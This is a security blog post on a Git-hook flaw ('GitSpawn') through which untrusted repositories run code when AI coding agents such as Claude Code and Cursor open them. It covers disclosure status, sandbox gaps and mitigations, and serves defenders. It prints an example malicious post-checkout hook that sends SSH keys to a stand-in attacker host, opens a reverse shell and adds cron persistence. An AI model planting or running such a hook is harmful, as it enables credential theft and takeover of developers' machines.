DEV Community

Cover image for GitSpawn: How a Single Git Hook Flaw Lets Untrusted Repos Execute Code in Claude, Cursor, and Other AI Coding Agents
mech.app
mech.app

Posted on Originally published at mech.app

GitSpawn: How a Single Git Hook Flaw Lets Untrusted Repos Execute Code in Claude, Cursor, and Other AI Coding Agents

AI coding agents run git status before you type anything. Before the workspace-trust prompt. On some agents, before you authenticate. If that folder came from somewhere else, the repository decides what that command runs.

Manifold Security disclosed eight findings across seven AI coding agents (Claude Code, Cursor, OpenAI Codex, Grok Build, Hermes, Goose, Qwen Code). Four remain unpatched at publication. The attack surface is Git's client-side hook mechanism, a feature designed for developer automation that becomes a privilege escalation vector when agents treat repositories as trusted data sources.

The Attack Surface

Git client-side hooks are executable scripts stored in .git/hooks/. They run automatically during specific Git operations:

  • post-checkout fires after git checkout or git clone
  • post-merge fires after git pull or git merge
  • pre-commit fires before git commit

These hooks execute with the same privileges as the user running the Git command. No confirmation prompt. No sandboxing. The repository controls the code.

AI coding agents use Git commands to gather context about the workspace. They run git status, git log, git diff, and git clone to understand file history, branch state, and uncommitted changes. This happens in the background, often before the user has interacted with the agent.

The vulnerability: agents execute these Git commands without isolating hook execution or validating repository metadata first.

Execution Flow

Here is what happens when an AI coding agent opens a malicious repository:

  1. User opens a folder containing a Git repository (or the agent clones one)
  2. Agent runs git status or git checkout to gather context
  3. Git executes .git/hooks/post-checkout or similar hook
  4. Malicious script runs arbitrary code as the developer
  5. Attacker gains SSH keys, cloud credentials, tokens, and a foothold on the machine

The agent never sees the hook execution. The user never sees a prompt. The LLM never makes a decision about whether to run the code.

Example malicious post-checkout hook:

#!/bin/bash
# .git/hooks/post-checkout

# Exfiltrate SSH keys
curl -X POST https://attacker.example.com/exfil \
  -d "keys=$(cat ~/.ssh/id_rsa | base64)"

# Establish reverse shell
bash -i >& /dev/tcp/attacker.example.com/4444 0>&1

# Persist via cron
(crontab -l 2>/dev/null; echo "@reboot /tmp/backdoor.sh") | crontab -
Enter fullscreen mode Exit fullscreen mode

This script runs before the agent processes any user input. It runs outside any sandbox the agent might use for code execution. It runs with full access to the developer's environment.

Why Sandboxing Fails

You might expect Docker or WASM sandboxes to prevent this. They do not.

Git hooks execute in the host environment, not inside the sandbox. The agent orchestration layer runs Git commands on the host to gather context before spinning up any isolated execution environment.

Even if the agent runs code inside a container, the Git operations that trigger hooks happen outside:

  • The agent clones the repository on the host
  • Git executes the post-checkout hook on the host
  • The agent then mounts the repository into a container

The hook has already run by the time the sandbox exists.

Agent Trust Boundaries

AI coding agents have multiple trust boundaries. The GitSpawn vulnerability shows where they break.

Boundary Expected Behavior Actual Behavior
Repository metadata Treated as untrusted data, validated before use Treated as trusted, executed without validation
Git operations Isolated from host environment Run on host with full privileges
Workspace trust prompt Shown before executing any repository code Shown after Git hooks have already run
LLM tool calls Subject to approval or sandboxing Git commands bypass tool-call approval flow

The root cause: agents assume Git operations are safe because they are not "executing code." But Git hooks are code, and they run automatically.

Affected Agents and Disclosure Status

Manifold Security reported findings to seven vendors. Here is the disclosure status as of publication:

  • Claude Code: Reported, unpatched (77M+ npm downloads/month)
  • Cursor: Reported, patched (duplicate report)
  • OpenAI Codex: Reported, patched (duplicate report)
  • Grok Build: Reported, unpatched (26K GitHub stars)
  • Hermes: Reported, unpatched (237K GitHub stars)
  • Goose: Reported, unpatched (54K GitHub stars)
  • Qwen Code: Reported, status unknown (27K GitHub stars)

The combined reach is close to half a million GitHub stars plus tens of millions of monthly downloads.

Secure Clone Workflow

A secure Git clone workflow for AI coding agents requires validating repository metadata before executing any Git commands that might trigger hooks.

Step 1: Shallow clone with hooks disabled

git clone --no-checkout --no-hardlinks \
  --config core.hooksPath=/dev/null \
  https://untrusted.example.com/repo.git
Enter fullscreen mode Exit fullscreen mode

The --no-checkout flag prevents Git from checking out files (and triggering post-checkout hooks). The core.hooksPath=/dev/null config disables all hooks.

Step 2: Inspect repository metadata

Before checking out files, inspect .git/hooks/, .gitmodules, and .gitattributes for malicious content:

  • Scan hook scripts for suspicious commands (curl, wget, bash reverse shells)
  • Check submodule URLs for non-HTTPS schemes or unexpected domains
  • Validate .gitattributes filters (these can also execute arbitrary code)

Step 3: Prompt user for approval

Show the user what hooks, submodules, and filters exist. Let them decide whether to proceed.

Step 4: Checkout with hooks still disabled

git -c core.hooksPath=/dev/null checkout main
Enter fullscreen mode Exit fullscreen mode

Only re-enable hooks if the user explicitly opts in.

Orchestration Layer Fixes

Agent orchestration layers need to treat Git operations as privileged tool calls, not background context-gathering.

Before:

# Agent gathers context automatically
repo_status = subprocess.run(["git", "status"], capture_output=True)
agent.add_context(repo_status.stdout)
Enter fullscreen mode Exit fullscreen mode

After:

# Agent requests permission before running Git commands
if user.approves_git_operation("status"):
    repo_status = subprocess.run(
        ["git", "-c", "core.hooksPath=/dev/null", "status"],
        capture_output=True
    )
    agent.add_context(repo_status.stdout)
Enter fullscreen mode Exit fullscreen mode

The orchestration layer must:

  1. Disable hooks by default for all Git operations
  2. Require explicit user approval before running Git commands on untrusted repositories
  3. Show the workspace trust prompt before any Git operations, not after
  4. Validate repository metadata before checkout

Observability Gaps

Most AI coding agents do not log Git hook execution. When a hook runs, there is no trace in the agent's logs, no event in the orchestration layer, and no signal to the user.

To detect this attack, you need host-level observability:

  • Process monitoring: Watch for unexpected child processes spawned by Git
  • File integrity monitoring: Alert on changes to .git/hooks/
  • Network monitoring: Flag outbound connections from Git processes
  • Audit logs: Record all Git operations with full command-line arguments

Without these signals, the attack is invisible to the agent and the user.

Technical Verdict

When to worry:

  • You use AI coding agents to open repositories from untrusted sources (GitHub, email attachments, shared drives)
  • Your agent runs Git commands automatically on workspace open
  • You work with sensitive credentials (SSH keys, cloud tokens, API keys) in your environment
  • You have not verified that your agent disables Git hooks by default

When you are safer:

  • You only open repositories you control or have audited
  • Your agent prompts before running any Git commands
  • You run agents in ephemeral VMs or containers with no persistent credentials
  • You have host-level monitoring that alerts on unexpected Git hook execution

Mitigation priority:

  1. Disable Git hooks globally: git config --global core.hooksPath /dev/null
  2. Audit your agent's Git command usage (check source code or network traffic)
  3. Use separate environments for untrusted repositories (no SSH keys, no cloud credentials)
  4. Wait for vendor patches before opening untrusted repositories in affected agents

This is not a theoretical attack. Four of the eight disclosed findings remain unpatched. The attack surface is structural: Git hooks are a feature, not a bug, and agents that treat repositories as data instead of code will continue to be vulnerable until they validate metadata before execution.


Source Links

Top comments (0)